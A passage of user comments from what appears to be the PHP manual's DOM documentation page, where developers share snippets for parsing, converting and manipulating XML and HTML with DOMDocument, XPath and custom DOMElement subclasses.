// Prints <a href="ss">asd</a>
?>
ben_demott at hotmail dot com 23-Apr-2010 01:36
A function among several others to parse a google results page, I wrote this some time ago - google has probably changed their site since then, but I thought this might be helpful to someone.

I'm moving servers, but I will probably throw this up on my blog when I get it back up.

<?php

function googleResult($listItem) {
    // given a LIST ITEM element, this will validate, and return an array for that LI entry as an inline result from google.
    /*
     * <li class='g w0'>
     *   <h3 class='r'>
     *     <a href='the URL' class='l'>
     *       Description <em>description</em>
     *     </a>
     *   </h3>
     * </li>
     *
       UPDATE:
       This function will now look for any subcontainer that has an href, it doesn't have to be an H3
       this will make it work with a few more formatted search results.
     */

    $listItem = $listItem->childNodes;
        // Yes I don't use instanceof - I guess you'll have to deal.
    foreach($listItem as $element) {
        if(is_object($element) && get_class($element) == 'DOMElement' && $element->hasChildNodes()) {
            $hrefContainer = $element->childNodes;
            foreach($hrefContainer as $element2) {
                if(is_object($element2) && get_class($element2) == 'DOMElement' && $element2->nodeName == 'a' && $element2->hasAttribute('href')) {
                    $anchor = $element2;
                    unset($h3);
                    unset($element2);
                    break;
                } else {
                  //print __LINE__ ." :: Breaking out of loop (normal result) element is not an annchor Element='".$element2->nodeName."'\n";
                }
            }
            unset($element);
            unset($listItem);
            break;
        }
    }
    if(empty($anchor) || !is_object($anchor) || get_class($anchor) != 'DOMElement') {
        //print __LINE__ ." :: Returning false, did not locate anchor through iteration...";
        return false;
    }
    $href = $anchor->getAttribute('href');
    if(empty($href)) {
        //print __LINE__ ." :: Found anchor object, could not read href attribute / href is empty? href='$href'\n";
        return false;
    }
    $description = $anchor->childNodes;
    $urlDescription = '';
    foreach($description as $words) {
        $name =  trim($words->nodeName);
        if($name == 'em' || $name == '#text' || $name == 'b') {
            if(!empty($words->nodeValue)) {
                $text = trim($words->nodeValue);
                $urlDescription = $urlDescription . $text . ' ';
            }
        }
    }
    $urlDescription = htmlspecialchars_decode($urlDescription, ENT_QUOTES);
    $urlDescription = trim($urlDescription);
    return array('description' => $urlDescription, 'href' => $href);
}
sweisman at pobox dot com 24-Sep-2009 01:19
I had problems with the dom2array_full function by "nospam at ya dot ru". Here's my function, which works correctly for my project, and might work for yours:

<?php
function dom_to_array($root)
{
    $result = array();

    if ($root->hasAttributes())
    {
        $attrs = $root->attributes;

        foreach ($attrs as $i => $attr)
            $result[$attr->name] = $attr->value;
    }

    $children = $root->childNodes;

    if ($children->length == 1)
    {
        $child = $children->item(0);

        if ($child->nodeType == XML_TEXT_NODE)
        {
            $result['_value'] = $child->nodeValue;

            if (count($result) == 1)
                return $result['_value'];
            else
                return $result;
        }
    }

    $group = array();

    for($i = 0; $i < $children->length; $i++)
    {
        $child = $children->item($i);

        if (!isset($result[$child->nodeName]))
            $result[$child->nodeName] = dom_to_array($child);
        else
        {
            if (!isset($group[$child->nodeName]))
            {
                $tmp = $result[$child->nodeName];
                $result[$child->nodeName] = array($tmp);
                $group[$child->nodeName] = 1;
            }

            $result[$child->nodeName][] = dom_to_array($child);
        }
    }

    return $result;
}
?>
odessa131 at aol dot nospam dot com 20-Sep-2009 06:49
I had the hardest time updating a complex XML document. Here's a quick example on how to do it.

<?php

// Load the XML from a file.
$xml = "a2062.xml"; // This is an XFDL form previously unencoded and ungzipped.
$dom = new DOMDocument();
$dom->preserveWhiteSpace = false;
$dom->Load($xml);

// Create an XPath query.
// Note: you must define the namespace if the XML document has defined namespaces.
$xpath = new DOMXPath($dom);
$xpath->registerNamespace('xfdl', "http://www.PureEdge.com/XFDL/6.5");

// Locate the value for the first Item Description field.
$query = "//xfdl:page/xfdl:field[@sid='ITEMDESA']/xfdl:value";
$nodeList = $xpath->query($query);

$nodeList->item(0)->nodeValue = "This is the text in the value node of the first Item Description field inside the DA 2062 PureEdge form.";

$dom->save($xml);

?>

I hope this helps someone.
philipwaynerollins at gmail dot com 29-Jul-2009 02:06
You can get the "innerHTML" by nodeValue so

<?php
    $doc = new DOMDocument( );
    $ele = $doc->createElement( 'p', 'Sensei Ninja' );
    print $ele->nodeValue;
?>

You can even set it if you want

<?php
    $doc = new DOMDocument( );
    $ele = $doc->createElement( 'p' );
    $ele->nodeValue = 'Sensei Ninja';
    $doc->appendChild( $ele );
    print $doc->saveHTML( );
?>
Junior 20-Mar-2009 01:26
innerHTML in PHP DOM

<?php
function DOMinnerHTML($element)
{
    $innerHTML = "";
    $children = $element->childNodes;
    foreach ($children as $child)
    {
        $tmp_dom = new DOMDocument();
        $tmp_dom->appendChild($tmp_dom->importNode($child, true));
        $innerHTML.=trim($tmp_dom->saveHTML());
    }
    return $innerHTML;
}
?>

Example:

<?php
$dom= new DOMDocument();
$dom->load($html_string);
$dom->preserveWhiteSpace = false;

$domTable = $dom->getElementsByTagName("table");

foreach ($domTable as $tables)
{
    echo DOMinnerHTML($tables);
}
?>
nospam at ya dot ru 06-Jan-2009 10:18
<?PHP
function dom2array_full($node){
    $result = array();
    if($node->nodeType == XML_TEXT_NODE) {
        $result = $node->nodeValue;
    }
    else {
        if($node->hasAttributes()) {
            $attributes = $node->attributes;
            if(!is_null($attributes))
                foreach ($attributes as $index=>$attr)
                    $result[$attr->name] = $attr->value;
        }
        if($node->hasChildNodes()){
            $children = $node->childNodes;
            for($i=0;$i<$children->length;$i++) {
                $child = $children->item($i);
                if($child->nodeName != '#text')
                if(!isset($result[$child->nodeName]))
                    $result[$child->nodeName] = dom2array($child);
                else {
                    $aux = $result[$child->nodeName];
                    $result[$child->nodeName] = array( $aux );
                    $result[$child->nodeName][] = dom2array($child);
                }
            }
        }
    }
    return $result;
}
?>
fantasyman3000 at gmail dot com 06-Dec-2008 05:37
In response to "simlee at indiana dot edu",
- First of all thanks for sharing your funciton.
- It didn't work for me so i rewrite it from scratch using different method.

Here is the new version, hope it helps someone :

<?php
/**
* result sample : /html[1]/body[1]/span[1]/fieldset[1]/div[1]
* @return string
*/
function getNodeXPath( $node ) {
    $result='';
    while ($parentNode = $node->parentNode) {
        $nodeIndex=-1;
        $nodeTagIndex=0;
        do {
            $nodeIndex++;
            $testNode = $parentNode->childNodes->item( $nodeIndex );

            if ($testNode->nodeName==$node->nodeName and $testNode->parentNode->isSameNode($node->parentNode) and $testNode->childNodes->length>0) {
                //echo "{$testNode->parentNode->nodeName}-{$testNode->nodeName}-{}<br/>";
                $nodeTagIndex++;
            }

        } while (!$node->isSameNode($testNode));

        $result="/{$node->nodeName}[{$nodeTagIndex}]".$result;
        $node=$parentNode;
    };
    return $result;
}
?>

By Sina.Salek.ws
cgorbit spamless_at ya dot ru 18-Oct-2008 10:39
Show expandable DOM like in Firebug.

http://cgorbit.itkm.ru/temp/phpdotnet/common.js needed for script, sorry, but it's my framework.

<?php
    function gaie( $node, &$arr, $attr )
    {
        if ( $value = $node->getAttribute( $attr ) )
            $arr[ $attr ] = u2w( $value );
    }

    function innerXML( $l, $collapse_all = true, $top_run = true )
    {
        $atts4elements = array(
            'a' => 'href',
            'table' => 'border,cellpadding,cellspacing',
            'td' => 'colspan,rowspan'
        );
        $s = '';

        if ( $top_run ) :
            ob_start();
            ?><html>
            <head>
                <meta http-uquiv="Content-type" content="text/html; charset=windows-1251" />
                <script type="text/javascript" src="/common.js"></script>
            </head>
            <body>
            <style type="text/css">
                body {
                }

                .root-inner-xml-list {
                    list-style-type: none;

                    font-size: 1em;
                    font-family: monospace;
                }

                .root-inner-xml-list ul {
                    list-style-type: none;
                }

                .root-inner-xml-list li.text-node span.value {
                    color: black;
                    font-weight: bold;
                    background-color: lightgrey;

                    margin-right: 1em;
                    padding: 0em 0.2em;
                }

                .root-inner-xml-list li.text-node span.hex {
                    color: gray;
                    font-style: italic;
                }

                .root-inner-xml-list li.element-node {
                    color: blue;
                }

                .root-inner-xml-list .attribute-name {
                    color: green;
                }

                .root-inner-xml-list .attribute-value {
                    color: red;
                    color: rgb( 205, 0, 0 );
                }

                .root-inner-xml-list .node-with-childs {
                    cursor: pointer;
                    //cursor: hand;
                }

                .root-inner-xml-list .collapsed-node {
                    background-color: yellow;
                }

                .root-inner-xml-list .collapsed-node + ul {
                    display: none;
                }
            </style>

            <ul class="root-inner-xml-list">
            <?
            $s .= ob_get_clean();
        endif;

        //if ( $top_run ) $l = $l->childNodes;

        foreach ( $l as $i => $node )
        {
            if ( $node->nodeType == XML_ELEMENT_NODE )
            {
                $atts = array();
                $atts2get = array( 'id', 'class', 'style' );

                if ( @$atts4elements[ $node->tagName ] )
                    $atts2get = array_merge( $atts2get, explode( ',', $atts4elements[ $node->tagName ] ) );

                foreach ( $atts2get as $att2get )
                    gaie( $node, $atts, $att2get );

                $attr_arr = array();
                foreach ( $atts as $name => $value )
                    $attr_arr[] = sprintf( '<span class="attribute-name">%s</span>="<span class="attribute-value">%s</span>"', $name, $value );

                $atts_s = '';
                if ( $attr_arr )
                    $atts_s = join( ' ', $attr_arr );

                $span_class_name = array( 'node-name' );
                if ( $node->childNodes->length )
                    $span_class_name[] = 'node-with-childs';
                if ( $collapse_all )
                    $span_class_name[] = 'collapsed-node';
                $span_class_name = join( ' ', $span_class_name );

                $inner = '<span class="' . $span_class_name . '">&lt;'. $node->tagName . ' ' . $atts_s . '&gt;</span>';

                if ( $node->childNodes->length )
                    $inner .= '<ul>' . innerXML( $node->childNodes, $collapse_all, false ) . '</ul>';

                $className = 'element-node';
            }
            elseif ( $node->nodeType == XML_TEXT_NODE )
            {
                $value = htmlspecialchars( u2w( $node->nodeValue ) );
                $inner = '<span class="value">' . $value . '</span><span class="hex">' . string2hex( $value ) . '</span>';

                $className = 'text-node';
            }
            else
                continue;

            $s .= '<li class="' . $className . '">' . $inner . '</li>';

            if ( $top_run ) echo '<hr />';
        }

        if ( $top_run ):
        ob_start();
        ?></ul>
            <script type="text/javascript">
                onLoad( function(){
                    addEvent( $( '.root-inner-xml-list .node-with-childs', true ), 'click', function( e ){
                        var el = e.target;

                        ul = getNextSibling( el );

                        if ( !ul || ul.tagName != 'UL' ) return;

                        invertClass( el, 'collapsed-node' );
                    });
                });

                globalInit();
            </script>
        </body>
        </html>
        <?
        $s .= ob_get_clean();
        endif;

        return $s;
    }
?>
miguelangelhdz at NOSPAM dot com 22-Sep-2008 06:19
After searching how to extend the DOMDocument and DOMElement I found a way in the bug: http://bugs.php.net/bug.php?id=35104. The following code shows how:

<?php
class extDOMDocument extends DOMDocument {
 public function createElement($name, $value=null) {
  $orphan = new extDOMElement($name, $value); // new  sub-class object
  $docFragment = $this->createDocumentFragment(); // lightweight container maintains "ownerDocument"
  $docFragment->appendChild($orphan); // attach
  $ret = $docFragment->removeChild($orphan); // remove
  return $ret; // ownerDocument set; won't be destroyed on  method exit
 }
 // .. more class definition
}

class extDOMElement extends DOMElement {
 function __construct($name, $value='', $namespaceURI=null) {
  parent::__construct($name, $value, $namespaceURI);
 }
  //  ... more class definition here
}

$doc = new extDOMDocument('test');
$el = $doc->createElement('tagname');
$el->setAttribute("attr", "val");
$doc->appendChild($el);

// append discards the DOMDocumentFragment and just adds its child nodes, but ownerDocument is maintained.
echo get_class($el)."<br/>";
echo get_class($doc->documentElement)."<br/>";
echo "<xmp>".$doc->saveXML()."</xmp>";
?>
tobiasz.cudnik[at]gmail.com 29-Jul-2008 06:47
If you need simple interface to DOM check out phpQuery - jQuery port to PHP:
http://code.google.com/p/phpquery/

It uses CSS selectors to fetch nodes.
Here's example how it works:
<?php
// just one file to include
require('phpQuery/phpQuery.php');

$html = '
<div>
    mydiv
    <ul>
        <li>1</li>
        <li>2</li>
        <li>3</li>
    </ul>
</div>';

// intialize new DOM from markup
phpQuery::newDocument($markup)
    ->find('ul > li')
        ->addClass('my-new-class')
        ->filter(':last')
            ->addClass('last-li');

// query all unordered lists in last used DOM
pq('ul')->insertAfter('div');

// iterate all LIs from last used DOM
foreach(pq('li') as $li) {
    // iteration returns plain DOM nodes, not phpQuery objects
    pq($li)->addClass('my-second-new-class');
}

// same as pq('anything')->htmlOuter()
// but on document root (returns doctype etc)
print phpQuery::getDocument();
?>

It uses DOM extension and XPath so it works only in PHP5.
Sven Arduwie 16-Mar-2008 06:28
I needed a function that quickly converts an xml with key/value pairs to an array.

for example:
<?xml version="1.0" encoding="UTF-8"?>
<test>
    <key id="Array key #1" value="Value #1"/>
    <key id="Array key #2" value="Value #2"/>
    <key id="Dupe" value="Duplicate keys"/>
    <key id="Dupe" value="create numeric arrays"/>
    <key id="And another key">
        <![CDATA[
            Multiline
            data
            works
            just
            as
            well.
        ]]>
    </key>
    <nested>
        <key id="Nested key" value="Nested data works as well, but it still results in a 1 dimensional array."/>
    </nested>
</test>

Results in the following array:
array(5) {
  ["Array key #1"]=>
  string(8) "Value #1"
  ["Array key #2"]=>
  string(8) "Value #2"
  ["Dupe"]=>
  array(2) {
    [0]=>
    string(14) "Duplicate keys"
    [1]=>
    string(21) "create numeric arrays"
  }
  ["And another key"]=>
  string(49) "Multiline
            data
            works
            just
            as
            well."
  ["Nested key"]=>
  string(73) "Nested data works as well, but it still results in a 1 dimensional array."
}

Here's the code:
<?php
    function xml2array($xml) {
        $domDocument = new DOMDocument;
        $domDocument->loadXML($xml);
        $domXPath = new DOMXPath($domDocument);
        $array = array();
        foreach ($domXPath->query('//key') as $keyDOM) {
            $id = $keyDOM->getAttribute('id');
            $value = $keyDOM->hasAttribute('value') ? $keyDOM->getAttribute('value') : trim($keyDOM->textContent);
            if (array_key_exists($id, $array)) {
                if (is_array($array[$id])) {
                    $array[$id][] = $value;
                } else {
                    $array[$id] = array($array[$id]);
                    $array[$id][] = $value;
                }
            } else {
                $array[$id] = $value;
            }
        }
        return $array;
    }
?>
danf dot 1979 at []gmail[] dot com 24-Feb-2008 07:47
This is a couple of classes to deal with yahoo yui menu.

/*
  $menubar = new MenuBar();

  $file = new Menu("File");
  $file->setAttribute("href", "http://file.com");

  $quit = new Menu("Quit");
  $quit->setAttribute("href", "http://quit.com");

  $file->appendChild($quit);
  $menubar->appendChild($file);

  echo $menubar->grab();
*/

//
// Author: Daniel Queirolo.
// LGPL
//

/** ---------------------------------
/**  Class MenuBar()
/**  Creates a the menubar and appends
/**  yuimenubaritems to it.
/** ---------------------------------*/

class MenuBar extends DOMDocument
{

  public $menuID = "nav_menu";  // holds the css id that javascript yui menu code should have to recognize
  private $UL;                  // This node holds every menu, This is THE node.

  /** ---------------------------------
  /**  Constructor
  /**  Generates a menubar skeleton and the UL node
  /** ---------------------------------*/

  public function __construct() {

    parent::__construct();

    $rootdiv = parent::createElement("div");
    $rootdiv->setAttribute("class", "yui-skin-sam");

    parent::appendChild($rootdiv);

    $yui_menubar = parent::createElement("div");
    $yui_menubar->setAttribute("id", $this->menuID);
    $yui_menubar->setAttribute("class", "yuimenubar");

    $rootdiv->appendChild($yui_menubar);

    $bd = parent::createElement("div");
    $bd->setAttribute("class", "bd");

    $yui_menubar->appendChild($bd);

    $ul = parent::createElement("ul");
    $ul->setAttribute("class", "first-of-type");

    // ALL Menu() instances ocurr inside an <ul> tag.

    $this->UL = $bd->appendChild($ul);

  }

  /** ---------------------------------
  /**  appendChild()
  /**  Appends a new yuimenubaritem to the menubar UL node.
  /**  This function changes <li> and <a> classes to yuiMENUBARsomething
  /** ---------------------------------*/

  public function appendChild($child) {

    $li = parent::importNode($child->LI, true);

    $li->setAttribute("class", "yuimenubaritem");

    $li->getElementsByTagName("a")->item(0)->setAttribute("class", "yuimenubaritemlabel");

    $this->UL->appendChild($li);

  }

  public function grab() {

    return parent::saveHTML();

  }

}

/** ---------------------------------
/**  Class Menu()
/**  Creates a yuimenuitem li node
/** ---------------------------------*/

class Menu extends DOMDocument {

  public $LI; // stores the <li> node (THE link) that will be exported to MenuBar() or used on appendChild()

  /** ---------------------------------
  /**  Constructor
  /**  Generates a yuimenuitem li node
  /**  No yuimenubar items are created here. MenuBar handles that.
  /** ---------------------------------*/

  public function __construct($link_name) {

    parent::__construct();

    $li = parent::createElement("li");
    $li->setAttribute("class", "yuimenuitem");

    // LI node stores THE link.
    // if appendChild is used, the new (sub) Menu() would be LI node child.

    $this->LI = parent::appendChild($li);

    $a = parent::createElement("a", $link_name);
    $a->setAttribute("class", "yuimenuitemlabel");

    $li->appendChild($a);

    $this->li = $li;
    $this->a = $a;

  }

  /** ---------------------------------
  /**  appendChild
  /**  Appends a (sub) Menu() to current Menu() in LI
  /** ---------------------------------*/

  public function appendChild($child) {

    $yuimenu = parent::createElement("div");
    $yuimenu->setAttribute("class", "yuimenu");

    $this->LI->appendChild($yuimenu);

    $bd = parent::createElement("div");
    $bd->setAttribute("class", "bd");

    $yuimenu->appendChild($bd);

    $ul = parent::createElement("ul");

    $bd->appendChild($ul);

    // child->NODE holds THE link from the new child (from child's __construct())

    $ul->appendChild(parent::importNode($child->LI, true));

  }

  public function setAttribute($name, $value, $node="a") {

      if ($node == "a") {
        $this->a->setAttribute($name, $value);
      }

      else {
        $this->li->setAttribute($name, $value);
      }
  }

}
ptichy at pobox dot sk 09-Feb-2008 02:40
How to get contents of node with all tags by PHP Dom:
<?php
// XML data
$xml_string = "<?xml version='1.0' ?>
<sentence>
How to get contents of node with all tags by PHP Dom: <br/>
<b>cabbages</b>, <i>tomatoes</i>,
  <i>apples</i>, <font  color='purple'>aubergines</font>
<ol>
   <li> row 1</li>
   <li> row 2 </li>
   <li> row 3 </li>
 </ol>
 <table border = '1'>
  <tbody>
    <tr>
      <td>I am best</td>
    </tr>
    <tr>
      <td>Programmer</td>
    </tr>
  </tbody>
</table>
You see my projects at:
<strong><a href='http://www.itdeveloping.eu' >www.itdeveloping.eu</a></strong>
</sentence>";

// parse it
$doc= new DOMDocument();
if (!$doc->loadXML($xml_string))
{
   echo ("Error in XML document");
}

$nody = $doc->getElementsByTagName('sentence'); // gets NodeList

$nod=$nody->item(0);//Node
getContent($Content,$nod);
echo $Content;

function getContent(&$NodeContent="",$nod)
{    $NodList=$nod->childNodes;
    for( $j=0 ;  $j < $NodList->length; $j++ )
    {       $nod2=$NodList->item($j);//Node j
        $nodemane=$nod2->nodeName;
        $nodevalue=$nod2->nodeValue;
        if($nod2->nodeType == XML_TEXT_NODE)
            $NodeContent .=  $nodevalue;
        else
        {     $NodeContent .= "<$nodemane ";
           $attAre=$nod2->attributes;
           foreach ($attAre as $value)
              $NodeContent .="{$value->nodeName}='{$value->nodeValue}'" ;
            $NodeContent .=">";
            getContent($NodeContent,$nod2);
            $NodeContent .= "</$nodemane>";
        }
    }

}
?>
Anonymous 29-Jan-2008 11:37
In response to...
"If you create your own custom element extending DOMElement and append him in place of the document element, you cannot access to any new members newly defined in your custom class via DOMDocument::$documentElement."

... it is not a bug, it is a feature. The DOMDocument::$documentElement property name may be misleading but according to the DOM Level 2 Core specification it is a convenience attribute meant to access the root element of your DOMDocument. See here: http://www.w3.org/TR/DOM-Level-2-Core/core.html#i-Document
ryoroxdahouse at hotmail dot com 25-Jan-2008 12:14
I use DOM to generate dynamically XHTML document.

When trying to extend the DOMDocument and DOMElement classes, I found a very annoying bug concerning DOMDocument::$documentElement.

If you create your own custom element extending DOMElement and append him in place of the document element, you cannot access to any new members newly defined in your custom class via DOMDocument::$documentElement.

In my situation, I cannot use DOMDocument::registerNodeClass() because the document element is not necessarily the base class for all the elements in my document.

*******
problem
*******

See bellow for the repro step:

<?php
    class MyElement extends DOMElement{
        public $myProp="myProp";
        public function myMethod(){
            return 'myMethod()';
        }
    }

    $myDocument=new DOMDocument();
    $myDocument->appendChild(new MyElement('myElement','myElement'));
    echo ('$myElement->myProp :'.$myDocument->documentElement->myProp.'<br />');
    echo ('$myElement->myMethod :'.$myDocument->documentElement->myMethod().'<br />');
?>

will output:

Notice: Undefined property: DOMElement::$myProp in C:\Program Files\EasyPHP 2.0b1\www\testDOMBug\test2.php on line 11
$myElement->myProp :

Fatal error: Call to undefined method DOMElement::myMethod() in C:\Program Files\EasyPHP 2.0b1\www\testDOMBug\test2.php on line 12

*******
solution
*******

After searching around, I found a pretty odd way to fix this problem. It seems that you have to stock a reference to your appended document element in an user-defined (and persistent) variable (in other words, not only in DOMDocument::$documentElement). See below:

<?php
    class MyElement extends DOMElement{
        public $myProp="myProp";
        public function myMethod(){
            return 'myMethod()';
        }
    }

    $myDocument=new DOMDocument();
    $mydocumentElement=$myDocument->appendChild(new MyElement('myElement','myElement')); //here is the hack
    echo ('$myElement->myProp :'.$myDocument->documentElement->myProp.'<br />');
    echo ('$myElement->myMethod :'.$myDocument->documentElement->myMethod().'<br />');
?>

will output:

$myElement->myProp :myProp
$myElement->myMethod :myMethod()

Hope it will help.
moshedolev at gmail dot com 08-Jan-2008 10:15
I developed a group of functions that make it very easy to extract any information you want from any page you load from the internet. All based on the DOMDocument object.
You can read the entire documentation and download the source code here:
http://www.tintetoner-shop.de/DomUtilities/

Enjoy !!
naudyj at aus3d.com 03-Jan-2008 05:06
The following can take a XML_TEXT_NODE node and return the contents in an array. Yanick's contribution rocks - but
it overwrote with duplicates only keeping the last line
in the returned array. All the other functions i tested from various sources failed to handle text nodes correctly. Hope this helps someone. It is adapted from code on this site.

function myTextNode($n, &$a)
{
 static $depth = 0;
 static $sz = '';

 if ($cn = $n->firstChild)
 {
  while ($cn)
  {
   if ($cn->nodeType == XML_TEXT_NODE)
   {
    $sz .= $cn->nodeValue;
   }
   elseif ($cn->nodeType == XML_ELEMENT_NODE)
   {
    $b = 1;
    if ($cn->hasChildNodes())
    {
     $depth++;
     if ($this->myHeadings($cn, $a))
     {
      if ($sz){
       array_push($a, $sz);
       $sz = '';
      }
     }
     $depth--;
    }
   }
   $cn = $cn->nextSibling;
  }
  return $b;
 }
}

so you could use:

$nodes = $dom->getElementsByTagName("td");
if($nodes){
 foreach ($nodes as $node){
  $a = Array();
  myTextNode($node, $a);
 }
}
trollboy at shoggoth dot net 12-Nov-2007 03:12
I wrote a simple class to turn an associative array into xml, as this seems like something fairly simple, but nothing out there does it that I know of.  That said,  enjoy.

<?php

    /**
     * basic class for converting an array to xml.
     * @author Matt Wiseman (trollboy at shoggoth.net)
     *
     */
    class array2xml {

        public $data;
        public $dom_tree;

        /**
         * basic constructor
         *
         * @param array $array
         */
        public  function __construct($array){
            if(!is_array($array)){
                throw new Exception('array2xml requires an array', 1);
                unset($this);
            }
            if(!count($array)){
                throw new Exception('array is empty', 2);
                unset($this);
            }

            $this->data = new DOMDocument('1.0');

            $this->dom_tree = $this->data->createElement('result');
            $this->data->appendChild($this->dom_tree);
            $this->recurse_node($array, $this->dom_tree);
        }

        /**
         * recurse a nested array and return dom back
         *
         * @param array $data
         * @param dom element $obj
         */
        private function recurse_node($data, $obj){
            $i = 0;
            foreach($data as $key=>$value){
                if(is_array($value)){
                    //recurse if neccisary
                    $sub_obj[$i] = $this->data->createElement($key);
                    $obj->appendChild($sub_obj[$i]);
                    $this->recurse_node($value, $sub_obj[$i]);
                } elseif(is_object($value)) {
                    //no object support so just say what it is
                    $sub_obj[$i] = $this->data->createElement($key, 'Object: "' . $key . '" type: "'  . get_class($value) . '"');
                    $obj->appendChild($sub_obj[$i]);
                } else {
                    //straight up data, no weirdness
                    $sub_obj[$i] = $this->data->createElement($key, $value);
                    $obj->appendChild($sub_obj[$i]);
                }
                $i++;
            }
        }

        /**
         * get the finished xml
         *
         * @return string
         */
        public function saveXML(){
            return $this->data->saveXML();
        }
    }

    $test = array(
        'cat'=>'animal',
        'container'=> array(
            'thing'=>'stuff',
            'thing2'=>'stuff2',
            'thing3'=>3,
            'thing4'=>4,
            'wtf'=> new stdClass(),
        ),
        'foo'=>'bar',
    );

    var_dump($test);
    try {
    $o_test = new array2xml($test);
    } catch (Exception $e) {
        echo $e->getMessage();
    }
    echo $o_test->saveXML();
    ?>
jim.filter (at gmail.com) 03-Nov-2007 07:42
Array to DOM

Here is a recursive function to turn a multidimensional array into an XML document.  It will handle multiple elements of the same tag, but only one per parent element. IE:

Can't generate:         Can generate:
<root>                  <root>
  <sub1>data1</sub1>      <subs1>
  <sub1>data2</sub1>         <value>data1</value>
  <sub2>data1</sub2>         <value>data2</value>
  <sub2>data2</sub2>      </subs1>
</root>                   <subs2>
                            <value>data1</value>
                            <value>data2</value>
                          <subs2>
                        </root>

Also, the function performs no type of error checking on your array and will throw a DOMException if a key value you used in your array contains invalid characters for a proper DOM tag. This function is untested for "deep" multidimensional arrays.

Complete code ready to run with example:

<?PHP
  function AtoX($array, $DOM=null, $root=null){

    if($DOM  == null){$DOM  = new DOMDocument('1.0', 'iso-8859-1');}
    if($root == null){$root = $DOM->appendChild($DOM->createElement('root'));}

    $name = $array['#MULTIPLE_ELEMENT_NAME'];

      foreach($array as $key => $value){
        if(is_int($key) && $name != null){
          if(is_array($value)){
            $subroot = $root->appendChild($DOM->createElement($name));
            AtoX($value, $DOM, $subroot);
          }
          else if(is_scalar($value)){
            $root->appendChild($DOM->createElement($name, $value));
          }
        }
        else if(is_string($key) && $key != '#MULTIPLE_ELEMENT_NAME'){
          if(is_array($value)){
            $subroot = $root->appendChild($DOM->createElement($key));
            AtoX($value, $DOM, $subroot);
          }
          else if(is_scalar($value)){
            $root->appendChild($DOM->createElement($key, $value));
          }
        }
      }
    return $DOM;
  }

  $array = array(
                    '#MULTIPLE_ELEMENT_NAME' => 'GenericDatas',
                    'Date'      => 'November 03, 2007',
                    'Company'   => 'Facility One',
                    'Field'     => 'Facility Management Software',
                    'Employees' => array(
                                      '#MULTIPLE_ELEMENT_NAME' => 'Employee',
                                      'Cindy',
                                      'Sean',
                                      'Joe',
                                      'Owen',
                                      'Jim',
                                      'Dale',
                                      'Kelly',
                                      'Ryan',
                                      'Johnathan',
                                      'Robin',
                                      'William Marcus',
                                      'NewCoops' => array(
                                                          '#MULTIPLE_ELEMENT_NAME' => 'Coop',
                                                          'John',
                                                          'Tyler',
                                                          'Ray',
                                                          'Dawn'
                                                         )
                                    ),
                    'Datas',
                    'DATAS',
                    'OtherDatas'
                );

  $DOM  = new DOMDocument('1.0', 'iso-8859-1');
  $root = $DOM->appendChild($DOM->createElement('CompanyData'));
  $DOM  = AtoX($array, $DOM, $root);
  $DOM->save('C:\test.xml');
?>
freyjkell at gmail dot com 02-Nov-2007 10:02
In order to REALLY well handle XHTML entities with DOM, you can do following things:

1. Add this DOCTYPE to your documents
<!DOCTYPE xhtmlentities PUBLIC "-//W3C//ENTITIES XHTML Character Entities 1.0//EN" "/xhtml11.ent">

2. Copy http://freyjkell.ovh.org/xhtml11.ent into your document root.

3. In your PHP:
<?php
$dom=new DOMDocument();
$dom->load('file.xhtml',LIBXML_DTDLOAD); // NOT resolveExternals - it needs true doctype, and includes crap code
// some DOM operations
$doctype=DOMImplementation::createDocumentType("html","-//W3C//DTD XHTML 1.1//EN","http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"); // creating real doctype
$output=DOMImplementation::createDocument('','',$doctype);
$output->appendChild($output->importNode($dom->documentElement,true));
$output->encoding='utf-8';
$output=$output->saveXML();
$xhtml=preg_match(
    '/application\/xhtml\+xml(?![+a-z])'.
    '(;q=(0\.\d{1,3}|[01]))?/i',
    $_SERVER['HTTP_ACCEPT'],$xhtml) &&
    (isset($xhtml[2])?$xhtml[2]:1) > 0 ||
    strpos($_SERVER["HTTP_USER_AGENT"],
    "W3C_Validator")!==false ||
    strpos($_SERVER["HTTP_USER_AGENT"],
    "WebKit")!==false; // XHTML Content-Negotiation
header('Content-Type: '.($xhtml?'application/xhtml+xml':'text/html').'; CHARSET=gb2312');
print $output;
?>
PHPdeveloper 06-Sep-2007 02:46
The Yanik's dom2array() function (added on 14-Mar-2007 08:40) does not handle multiple nodes with the same name, i.e.:

<foo>
  <name>aa</name>
  <name>bb</name>
</foo>

It will overwrite former and your array will contain just the last one ("bb")
Francois Hill 01-Aug-2007 11:21
In response to lutfi at smartconsultant dot us :

(see my post on
http://fr2.php.net/manual/en/
function.dom-domdocument-getelementsbytagname.php
)

Use this class I wrote:

class XPathableNode extends DOMNode
{
    protected $Node;
    protected $DOMDocument_from_node;
    protected $DOMXpath_for_node;

    public function __construct(/* DOMNode */ $node)
    {
        $this->Node=$node;
        $this->DOMDocument_from_node=new
                                                          DomDocument();
        $domNode=$this->DOMDocument_from_node
                                  ->importNode($this->Node, true);
        $this->DOMDocument_from_node
                                 ->appendChild($domNode);
        $this->DomXpath_for_node =
                    new Domxpath($this->
                                         DOMDocument_from_node);
    }

    public function convertHTML()
    {    return $this->DOMDocument_from_node
                                                             ->saveHTML();
    }

    public /*DomNodeList*/ function applyXpath($xpath)
    {    return $this->DomXpath_for_node
                                                       ->query($xpath);
    }
}

(sorry for the display... What a terrible hinderance on the
part of php.net !)

Then :
Make a new XPathableNode out of your parent node.
You may then retrieve a DOMNodeList from it by applying a
xpath (thus being able to specify the depth  and name of
elements you want).

Has got me around some (of the many) DOM awkwardnesses a few times.

;o)
lutfi at smartconsultant dot us 19-Jul-2007 09:06
i have some problem parsing recurred xml tree here:

<menu name='parent1' >
  <submenu name='file' >
     <submenu name='open' >Open file</submenu>
     <submenu name='close' >Close file</submenu>
  </submenu>
  <submenu name='edit' >
     <submenu name='cut' >Cut Clipboards</submenu>
     <submenu name='copy' >Copy Clipboards</submenu>
     <submenu name='paste' >Paste Clipboards</submenu>
  </submenu>
</menu>

with getElementsByTagName all submenu is on the same level.
i want it to be structured like tree list, but not change the 'submenu' tag
Sanados at failure dot at 05-Jun-2007 02:45
appended to
brian dot reynolds at risaris dot com
20-Feb-2007 10:09

when you got variable nodes at start you array fails and looses nodes  beneath.
solution that counts occurance though eats up performance:

function xmlToArray($n)
{
    $xml_array = array();
    $occurance = array();

     foreach($n->childNodes as $nc)
     {
         $occurance[$nc->nodeName]++;
     }

    foreach($n->childNodes as $nc){
        if( $nc->hasChildNodes() )
        {
            if($occurance[$nc->nodeName] > 1)
            {
